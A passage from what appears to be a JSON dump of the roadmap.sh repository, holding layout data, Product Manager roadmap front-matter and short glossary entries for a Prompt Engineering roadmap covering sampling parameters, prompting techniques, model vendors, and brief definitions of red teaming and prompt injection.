\"Dx6ee8P_Agpw1MLKlAPGI\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-9vy4uIoykk2zSSyIok4_Sy2-Dx6ee8P_Agpw1MLKlAPGIz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9vy4uIoykk2zSSyIok4_S\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"5W-3jh1-4qSU5kagrWv9z\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-9vy4uIoykk2zSSyIok4_Sy2-5W-3jh1-4qSU5kagrWv9zz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/product-manager/product-manager.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/product-manager.json'\npdfUrl: '/pdfs/roadmaps/product-manager.pdf'\norder: 19\nrenderer: editor\ntitle: 'Product Manager'\ndescription: 'Everything you need to know to become a Product Manager.'\nbriefTitle: 'Product Manager'\nbriefDescription: 'Everything you need to know to become a Product Manager.'\nhasTopics: true\nisHidden: false\nisUpcoming: false\nisNew: false\npartner:\n  description: \"Ready-to use free on/offboarding templates for new employees\"\n  link: \"https://www.silo.team/book-a-demo-silo-team?utm_source=affiliate1&utm_medium=referral&utm_campaign=free_onboarding_checklist\"\n  linkText: \"silo.team\"\ndimensions:\n  width: 968\n  height: 5200\nschema:\n  headline: 'Product Manager'\n  description: 'Learn what product management is, what product managers do and how to become one using our community-driven roadmap.'\n  datePublished: '2024-06-10'\n  dateModified: '2024-06-27'\n  imageUrl: 'https://roadmap.sh/roadmaps/product-manager.png'\nseo:\n  title: 'Product Manager'\n  description: 'Learn what product management is, what product managers do and how to become one using our community-driven roadmap.'\n  keywords: \n    - 'product manager roadmap 2024'\n    - 'product manager roadmap 2025'\n    - 'guide to becoming a product manager'\n    - 'product manager roadmap'\n    - 'product manager skills'\n    - 'product manager skills 2025'\n    - 'product manager'\n    - 'become a product manager'\n    - 'product manager career path'\n    - 'skills for product manager'\n    - 'learn product manager'\n    - 'what is product manager'\nrelatedRoadmaps:\n  - 'ux-design'\n  - 'data-analyst'\n  - 'api-design'\n  - 'design-system'\n  - 'software-architect'\n  - 'engineering-manager'\nsitemap:\n  priority: 1\n  changefreq: monthly\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/agents@Pw5LWA9vNRY0N2M0FW16f.md",
    "content": "# Agents\n\nAI agents are autonomous systems that use LLMs to reason, plan, and take actions to achieve specific goals. They combine language understanding with tool usage, memory, and decision-making to perform complex, multi-step tasks. Agents can interact with external APIs and services while maintaining context across interactions."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/ai-red-teaming@Wvu9Q_kNhH1_JlOgxAjP6.md",
    "content": "# AI Red Teaming\n\nAI red teaming involves deliberately testing AI systems to find vulnerabilities, biases, or harmful behaviors through adversarial prompting. Teams attempt to make models produce undesired outputs, bypass safety measures, or exhibit problematic behaviors. This process helps identify weaknesses and improve AI safety and robustness before deployment."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/ai-vs-agi@Sj1CMZzZp8kF-LuHcd_UU.md",
    "content": "# AI vs AGI\n\nAI (Artificial Intelligence) refers to systems that perform specific tasks intelligently, while AGI (Artificial General Intelligence) represents hypothetical AI with human-level reasoning across all domains. Current LLMs are narrow AI - powerful at language tasks but lacking true understanding or general intelligence like AGI would possess."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/anthropic@V8pDOwrRKKcHBTd4qlSsH.md",
    "content": "# Anthropic\n\nAnthropic created Claude, a family of large language models known for safety features and constitutional AI training. Claude models excel at following instructions, maintaining context, and avoiding harmful outputs. Their strong instruction-following capabilities and built-in safety measures make them valuable for reliable, ethical AI applications."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/automatic-prompt-engineering@diHNCiuKHeMVgvJ4OMwVh.md",
    "content": "# Automatic Prompt Engineering\n\nAutomatic Prompt Engineering (APE) uses LLMs to generate and optimize prompts automatically, reducing human effort while enhancing model performance. The process involves prompting a model to create multiple prompt variants, evaluating them using metrics like BLEU or ROUGE, then selecting the highest-scoring candidate. For example, generating 10 variants of customer order phrases for chatbot training, then testing and refining the best performers. This iterative approach helps discover effective prompts that humans might not consider, automating the optimization process."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/calibrating-llms@P5nDyQbME53DOEfSkcY6I.md",
    "content": "# Calibrating LLMs\n\nCalibrating LLMs involves adjusting models so their confidence scores accurately reflect their actual accuracy. Well-calibrated models express appropriate uncertainty - being confident when correct and uncertain when likely wrong. This helps users better trust and interpret model outputs, especially in critical applications where uncertainty awareness is crucial."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/chain-of-thought-cot-prompting@weRaJxEplhKDyFWSMeoyI.md",
    "content": "# Chain of Thought (CoT) Prompting\n\nChain of Thought prompting improves LLM reasoning by generating intermediate reasoning steps before providing the final answer. Instead of jumping to conclusions, the model \"thinks through\" problems step by step. Simply adding \"Let's think step by step\" to prompts often dramatically improves accuracy on complex reasoning tasks and mathematical problems.\n\nVisit the following resources to learn more:\n\n- [@video@Context Engineering vs. Prompt Engineering: Smarter AI with RAG & Agents](https://youtu.be/vD0E3EUb8-8?si=Y6MCLPzjmhMB4jSu&t=203)\n"
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/context-window@b-Xtkv6rt8QgzJXSShOX-.md",
    "content": "# Context Window\n\nContext window refers to the maximum number of tokens an LLM can process in a single interaction, including both input prompt and generated output. When exceeded, older parts are truncated. Understanding this constraint is crucial for prompt engineering—you must balance providing sufficient context with staying within token limits."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/contextual-prompting@5TNK1KcSzh9GTKiEJnM-y.md",
    "content": "# Contextual Prompting\n\nContextual prompting provides specific background information or situational details relevant to the current task, helping LLMs understand nuances and tailor responses accordingly. Unlike system or role prompts, contextual prompts supply immediate, task-specific information that's dynamic and changes based on the situation. For example: \"Context: You are writing for a blog about retro 80's arcade video games. Suggest 3 topics to write articles about.\" This technique ensures responses are relevant, accurate, and appropriately framed for the specific context provided."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/fine-tuning-vs-prompt-engg@Ke5GT163k_ek9SzbcbBGE.md",
    "content": "# Fine-tuning vs Prompt Engineering\n\nFine-tuning trains models on specific data to specialize behavior, while prompt engineering achieves customization through input design without model modification. Prompt engineering is faster, cheaper, and more accessible. Fine-tuning offers deeper customization but requires significant resources and expertise."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/frequency-penalty@YIVNjkmTOY61VmL0md9Pj.md",
    "content": "# Frequency Penalty\n\nFrequency penalty reduces token probability based on how frequently they've appeared in the text, with higher penalties for more frequent tokens. This prevents excessive repetition and encourages varied language use. The penalty scales with usage frequency, making overused words less likely to be selected again, improving content diversity."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/google@o-6UKLZ6oCRbAKgRjH2uI.md",
    "content": "# Google\n\nGoogle develops influential LLMs including Gemini, PaLM, and Bard. Through Vertex AI and Google Cloud Platform, they provide enterprise-grade model access with extensive prompt testing via Vertex AI Studio. Google's research has advanced many prompt engineering techniques, including Chain of Thought reasoning methods."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/hallucination@SWDa3Su3VS815WQbvvNsa.md",
    "content": "# Hallucination\n\nHallucination in LLMs refers to generating plausible-sounding but factually incorrect or fabricated information. This occurs when models fill knowledge gaps or present uncertain information with apparent certainty. Mitigation techniques include requesting sources, asking for confidence levels, providing context, and always verifying critical information independently."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/introduction@jrH1qE6EnFXL4fTyYU8gR.md",
    "content": "# Introduction\n\nPrompt engineering is the practice of designing effective inputs for Large Language Models to achieve desired outputs. This roadmap covers fundamental concepts, core techniques, model parameters, and advanced methods. It's a universal skill accessible to anyone, requiring no programming background, yet crucial for unlocking AI potential across diverse applications and domains."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/llm-self-evaluation@CvV3GIvQhsTvE-TQjTpIQ.md",
    "content": "# LLM Self Evaluation\n\nLLM self-evaluation involves prompting models to assess their own outputs for quality, accuracy, or adherence to criteria. This technique can identify errors, rate confidence levels, or check if responses meet specific requirements. Self-evaluation helps improve output quality through iterative refinement and provides valuable feedback for prompt optimization.\n\nVisit the following resources to learn more:\n\n- [@article@LLM Self-Evaluation](https://learnprompting.org/docs/reliability/lm_self_eval)\n"
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/llm@pamV5Z8DRKk2ioZbg6QVK.md",
    "content": "# LLM\n\nLarge Language Models (LLMs) are AI systems trained on vast text data to understand and generate human-like language. They work as prediction engines, analyzing input and predicting the next most likely token. LLMs perform tasks like text generation, translation, summarization, and Q&A. Understanding token processing is key to effective prompt engineering."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/llms-and-how-they-work@74JxgfJ_1qmVNZ_QRp9Ne.md",
    "content": "# LLMs and How They Work\n\nLLMs function as sophisticated prediction engines that process text sequentially, predicting the next token based on relationships between previous tokens and patterns from training data. They don't predict single tokens directly but generate probability distributions over possible next tokens, which are then sampled using parameters like temperature and top-K. The model repeatedly adds predicted tokens to the sequence, building responses iteratively. This token-by-token prediction process, combined with massive training datasets, enables LLMs to generate coherent, contextually relevant text across diverse applications and domains.\n\nVisit the following resources to learn more:\n\n- [@video@How Large Language Models Work](https://youtu.be/5sLYAQS9sWQ)\n"
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/max-tokens@vK9Gf8dGu2UvvJJhhuHG9.md",
    "content": "# Max Tokens\n\nMax tokens setting controls the maximum number of tokens an LLM can generate in response, directly impacting computation cost, response time, and energy consumption. Setting lower limits doesn't make models more concise—it simply stops generation when the limit is reached. This parameter is crucial for techniques like ReAct where models might generate unnecessary tokens after the desired response. Balancing max tokens involves considering cost efficiency, response completeness, and application requirements while ensuring critical information isn't truncated."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/meta@Td2YzDFT4LPGDw8JMmQSQ.md",
    "content": "# Meta\n\nMeta (formerly Facebook) develops the Llama family of open-source large language models. Llama models are available for research and commercial use, offering strong performance across various tasks. For prompt engineering, Meta's models provide transparency in training data and architecture, allowing developers to fine-tune and customize prompts for specific applications without vendor lock-in."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/model-weights--parameters@yfsjW1eze8mWT0iHxv078.md",
    "content": "# Model Weights / Parameters\n\nModel weights and parameters are the learned values that define an LLM's behavior and knowledge. Parameters are the trainable variables adjusted during training, while weights represent their final values. Understanding parameter count helps gauge model capabilities - larger models typically have more parameters and better performance but require more computational resources."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/one-shot--few-shot-prompting@Iufv_LsgUNls-Alx_Btlh.md",
    "content": "# One-Shot & Few-Shot Prompting\n\nOne-shot provides a single example to guide model behavior, while few-shot includes multiple examples (3-5) to demonstrate desired patterns. Examples show output structure, style, and tone, increasing accuracy and consistency. Use few-shot for complex formatting, specialized tasks, and when zero-shot results are inconsistent.\n\nVisit the following resources to learn more:\n\n- [@video@Context Engineering vs. Prompt Engineering: Smarter AI with RAG & Agents](https://youtu.be/vD0E3EUb8-8?si=Fi2igdPTBUocqnX7&t=177)\n"
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/openai@Yb5cQiV2ETxPbBYCLOpt2.md",
    "content": "# OpenAI\n\nOpenAI developed influential language models including GPT-3, GPT-4, and o3, setting industry standards for prompt engineering practices. Their API provides access to powerful LLMs with configurable parameters like temperature and max tokens. Many prompt engineering techniques and best practices originated from working with OpenAI systems."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/output-control@wSf7Zr8ZYBuKWX0GQX6J3.md",
    "content": "# Output Control\n\nOutput control encompasses techniques and parameters for managing LLM response characteristics including length, format, style, and content boundaries. Key methods include max tokens for length limits, stop sequences for precise boundaries, temperature for creativity control, and structured output requirements for format consistency. Effective output control combines prompt engineering techniques with model parameters to ensure responses meet specific requirements. This is crucial for production applications where consistent, appropriately formatted outputs are essential for user experience and system integration."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/presence-penalty@WpO8V5caudySVehOcuDvK.md",
    "content": "# Presence Penalty\n\nPresence penalty reduces the likelihood of repeating tokens that have already appeared in the text, encouraging diverse vocabulary usage. Unlike frequency penalty which considers how often tokens appear, presence penalty applies the same penalty to any previously used token, promoting varied content and creativity."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/prompt-debiasing@0H2keZYD8iTNyBgmNVhto.md",
    "content": "# Prompt Debiasing\n\nPrompt debiasing involves techniques to reduce unwanted biases in LLM outputs by carefully crafting prompts. This includes using neutral language, diverse examples, and explicit instructions to avoid stereotypes or unfair representations. Effective debiasing helps ensure AI outputs are fairer, inclusive, and more representative across different groups and perspectives.\n\nVisit the following resources to learn more:\n\n- [@article@Prompt Debiasing](https://learnprompting.org/docs/reliability/debiasing)\n"
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/prompt-ensembling@HOqWHqAkxLX8f2ImSmZE7.md",
    "content": "# Prompt Ensembling\n\nPrompt ensembling combines multiple different prompts or prompt variations to improve output quality and consistency. This technique involves running the same query with different prompt formulations and aggregating results through voting, averaging, or selection. Ensembling reduces variance and increases reliability by leveraging diverse prompt perspectives."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/prompt-injection@6W_ONYREbXHwPigoDx1cW.md",
    "content": "# Prompt Injection\n\nPrompt injection is a security vulnerability where malicious users manipulate LLM inputs to override intended behavior, bypass safety measures, or extract sensitive information. Attackers embed instructions within data to make models ignore original prompts and follow malicious commands. Mitigation requires input sanitization, injection-resistant prompt design, and proper security boundaries.\n\nVisit the following resources to learn more:\n\n- [@video@What Is a Prompt Injection Attack?](https://www.youtube.com/watch?v=jrHRe9lSqqA)"
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/rag@gxydtFKmnXNY9I5kpTwjP.md",
    "content": "# RAG\n\nRetrieval-Augmented Generation (RAG) combines LLMs with external knowledge retrieval to ground responses in verified, current information. RAG retrieves relevant documents before generating responses, reducing hallucinations and enabling access to information beyond the model's training cutoff. This approach improves accuracy and provides source attribution."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/react-prompting@8Ks6txRSUfMK7VotSQ4sC.md",
    "content": "# ReAct Prompting\n\nReAct (Reason and Act) prompting enables LLMs to solve complex tasks by combining reasoning with external tool interactions. It follows a thought-action-observation loop: analyze the problem, perform actions using external APIs, review results, and iterate until solved. Useful for research, multi-step problems, and tasks requiring current data.\n\nVisit the following resources to learn more:\n\n- [@video@4 Methods of Prompt Engineering](https://youtu.be/vD0E3EUb8-8?si=Y6MCLPzjmhMB4jSu&t=203)\n"
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/repetition-penalties@g8ylIg4Zh567u-E3yVVY4.md",
    "content": "# Repetition Penalties\n\nRepetition penalties discourage LLMs from repeating words or phrases by reducing the probability of selecting previously used tokens. This includes frequency penalty (scales with usage count) and presence penalty (applies equally to any used token). These parameters improve output quality by promoting vocabulary diversity and preventing redundant phrasing."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/role-prompting@XHWKGaSRBYT4MsCHwV-iR.md",
    "content": "# Role Prompting\n\nRole prompting assigns a specific character, identity, or professional role to the LLM to generate responses consistent with that role's expertise, personality, and communication style. By establishing roles like \"teacher,\" \"travel guide,\" or \"software engineer,\" you provide the model with appropriate domain knowledge, perspective, and tone for more targeted, natural interactions.\n\nVisit the following resources to learn more:\n\n- [@video@Context Engineering vs. Prompt Engineering: Smarter AI with RAG & Agents](https://youtu.be/vD0E3EUb8-8?si=9orzEniOGmRD7g-o&t=136)\n"
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/sampling-parameters@JgigM7HvmNOuKnp60v1Ce.md",
    "content": "# Sampling Parameters\n\nSampling parameters (temperature, top-K, top-P) control how LLMs select tokens from probability distributions, determining output randomness and creativity. These parameters interact: at extreme settings, one can override others (temperature 0 makes top-K/top-P irrelevant). A balanced starting point is temperature 0.2, top-P 0.95, top-K 30 for coherent but creative results. Understanding their interactions is crucial for optimal prompting—use temperature 0 for factual tasks, higher values for creativity, and combine settings strategically based on your specific use case."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/self-consistency-prompting@1EzqCoplXPiHjp9Z-vqn-.md",
    "content": "# Self-Consistency Prompting\n\nSelf-consistency prompting generates multiple reasoning paths for the same problem using higher temperature settings, then selects the most commonly occurring answer through majority voting. This technique combines sampling and voting to improve accuracy and provides pseudo-probability of answer correctness. While more expensive due to multiple API calls, it significantly enhances reliability for complex reasoning tasks by reducing the impact of single incorrect reasoning chains and leveraging diverse problem-solving approaches."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/step-back-prompting@2MboHh8ugkoH8dSd9d4Mk.md",
    "content": "# Step-Back Prompting\n\nStep-back prompting improves LLM performance by first asking a general question related to the specific task, then using that answer to inform the final response. This technique activates relevant background knowledge before attempting the specific problem. For example, before writing a video game level storyline, first ask \"What are key settings for engaging first-person shooter levels?\" then use those insights to create the specific storyline. This approach reduces biases and improves accuracy by grounding responses in broader principles."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/stop-sequences@v3CylRlojeltcwnE76j8Q.md",
    "content": "# Stop Sequences\n\nStop sequences are specific strings that signal the LLM to stop generating text when encountered, providing precise control over output length and format. Common examples include newlines, periods, or custom markers like \"###\" or \"END\". This parameter is particularly useful for structured outputs, preventing models from generating beyond intended boundaries. Stop sequences are essential for ReAct prompting and other scenarios where you need clean, precisely bounded responses. They offer more control than max tokens by stopping at logical breakpoints rather than arbitrary token limits."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/structured-outputs@j-PWO-ZmF9Oi9A5bwMRto.md",
    "content": "# Structured Outputs\n\nStructured outputs involve prompting LLMs to return responses in specific formats like JSON, XML, or other organized structures rather than free-form text. This approach forces models to organize information systematically, reduces hallucinations by imposing format constraints, enables easy programmatic processing, and facilitates integration with applications. For example, requesting movie classification results as JSON with a specified schema ensures consistent, parseable responses. Structured outputs are particularly valuable for data extraction, API integration, and applications requiring reliable data formatting.\n\nVisit the following resources to learn more:\n\n- [@article@Generating Structured Outputs from LLMs](https://towardsdatascience.com/generating-structured-outputs-from-llms/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/system-prompting@fWo39-hehRgwmx7CF36mM.md",
    "content": "# System Prompting\n\nSystem prompting sets the overall context, purpose, and operational guidelines for LLMs. It defines the model's role, behavioral constraints, output format requirements, and safety guardrails. System prompts provide foundational parameters that influence all subsequent interactions, ensuring consistent, controlled, and structured AI responses throughout the session."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/temperature@iMwg-I76-Tg5dhu8DGO6U.md",
    "content": "# Temperature\n\nTemperature controls the randomness in token selection during text generation. Lower values (0-0.3) produce deterministic, factual outputs. Medium values (0.5-0.7) balance creativity and coherence. Higher values (0.8-1.0) generate creative, diverse outputs but may be less coherent. Use low temperature for math/facts, high for creative writing."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/tokens@NPcaSEteeEA5g22wQ7nL_.md",
    "content": "# Tokens\n\nTokens are fundamental units of text that LLMs process, created by breaking down text into smaller components like words, subwords, or characters. Understanding tokens is crucial because models predict the next token in sequences, API costs are based on token count, and models have maximum token limits for input and output."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/top-k@FF8ai1v5GDzxXLQhpwuPj.md",
    "content": "# Top-K\n\nTop-K restricts token selection to the K most likely tokens from the probability distribution. Low values (1-10) produce conservative, factual outputs. Medium values (20-50) balance creativity and quality. High values (50+) enable diverse, creative outputs. Use low K for technical tasks, high K for creative writing."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/top-p@-G1U1jDN5st1fTUtQmMl1.md",
    "content": "# Top-P\n\nTop-P (nucleus sampling) selects tokens from the smallest set whose cumulative probability exceeds threshold P. Unlike Top-K's fixed number, Top-P dynamically adjusts based on probability distribution. Low values (0.1-0.5) produce focused outputs, medium (0.6-0.9) balance creativity and coherence, high (0.9-0.99) enable creative diversity."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/tree-of-thoughts-tot-prompting@ob9D0W9B9145Da64nbi1M.md",
    "content": "# Tree of Thoughts (ToT) Prompting\n\nTree of Thoughts (ToT) generalizes Chain of Thought by allowing LLMs to explore multiple reasoning paths simultaneously rather than following a single linear chain. This approach maintains a tree structure where each thought represents a coherent step toward solving a problem, enabling the model to branch out and explore different reasoning directions. ToT is particularly effective for complex tasks requiring exploration and is well-suited for problems that benefit from considering multiple solution approaches before converging on the best answer."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/what-is-a-prompt@i4ijY3T5gLgNz0XqRipXe.md",
    "content": "# What is a Prompt?\n\nA prompt is an input provided to a Large Language Model (LLM) to generate a response or prediction. It serves as the instruction or context that guides the AI model's output generation process. Effective prompts are clear, specific, well-structured, and goal-oriented, directly affecting the accuracy and relevance of AI responses."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/what-is-prompt-engineering@43drPbTwPqJQPyzwYUdBT.md",
    "content": "# What is Prompt Engineering?\n\nVisit the following resources to learn more:\n\n- [@video@RAG vs Fine-Tuning vs Prompt Engineering: Optimizing AI Models](https://youtu.be/zYGDpG-pTho?si=yov4dDrcsHBAkey-&t=522)"
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/xai@3wshuH7_DXgbhxsLzzI4D.md",
    "content": "# xAI\n\nxAI is Elon Musk's AI company that created Grok, a conversational AI model trained on web data with a focus on real-time information and humor. Grok aims to be more truthful and less politically correct than other models. For prompt engineering, xAI offers unique capabilities in accessing current events and generating responses with a distinctive conversational style."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/content/zero-shot-prompting@GRerL9UXN73TwpCW2eTIE.md",
    "content": "# Zero-Shot Prompting\n\nZero-shot prompting provides only a task description without examples, relying on the model's training patterns. Simply describe the task clearly, provide input data, and optionally specify output format. Works well for simple classification, text generation, and Q&A, but may produce inconsistent results for complex tasks."
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/prompt-engineering.json",
    "content": "{\n  \"mockup\": {\n    \"controls\": {\n      \"control\": [\n        {\n          \"ID\": \"10127\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"0\",\n          \"w\": \"450\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"439\",\n          \"y\": \"1826\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"p0\": {\n              \"x\": 449.78787878787875,\n              \"y\": -0.20575476734575204\n            },\n            \"p1\": {\n              \"x\": 0.4999999999999993,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": -0.21212121212124657,\n              \"y\": -0.20575476734575204\n            }\n          }\n        },\n        {\n          \"ID\": \"10128\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"1\",\n          \"w\": \"179\",\n          \"h\": \"82\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"998\",\n          \"y\": \"555\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": -0.12121212121212466,\n              \"y\": 0.4545454545453822\n            },\n            \"p1\": {\n              \"x\": 0.6134355370479128,\n              \"y\": 0.10823051718363962\n            },\n            \"p2\": {\n              \"x\": 178.66666666666652,\n              \"y\": 82.27272727272725\n            }\n          }\n        },\n        {\n          \"ID\": \"10129\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"2\",\n          \"w\": \"1\",\n          \"h\": \"102\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"876\",\n          \"y\": \"1827\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.00475478501221005\n            },\n            \"p1\": {\n              \"x\": 0.49962160010312046,\n              \"y\": -0.0008638298060972025\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 102.09090909090901\n            }\n          }\n        },\n        {\n          \"ID\": \"10130\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"3\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"752\",\n          \"y\": \"1899\",\n          \"properties\": {\n            \"controlName\": \"100-image-prompting:style-modifiers\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"113\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"64\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Style Modifiers\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10131\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"4\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"752\",\n          \"y\": \"1949\",\n          \"properties\": {\n            \"controlName\": \"101-image-prompting:quality-boosters\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"126\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"67\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Quality Boosters\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10132\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"5\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"752\",\n          \"y\": \"1999\",\n          \"properties\": {\n            \"controlName\": \"102-image-prompting:weighted-terms\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"124\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"81\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Weighted Terms\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10133\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"6\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"752\",\n          \"y\": \"2048\",\n          \"properties\": {\n            \"controlName\": \"103-image-prompting:deformed-generations\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"203\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"29\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Fix Deformed Generations\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10134\",\n          \"typeID\": 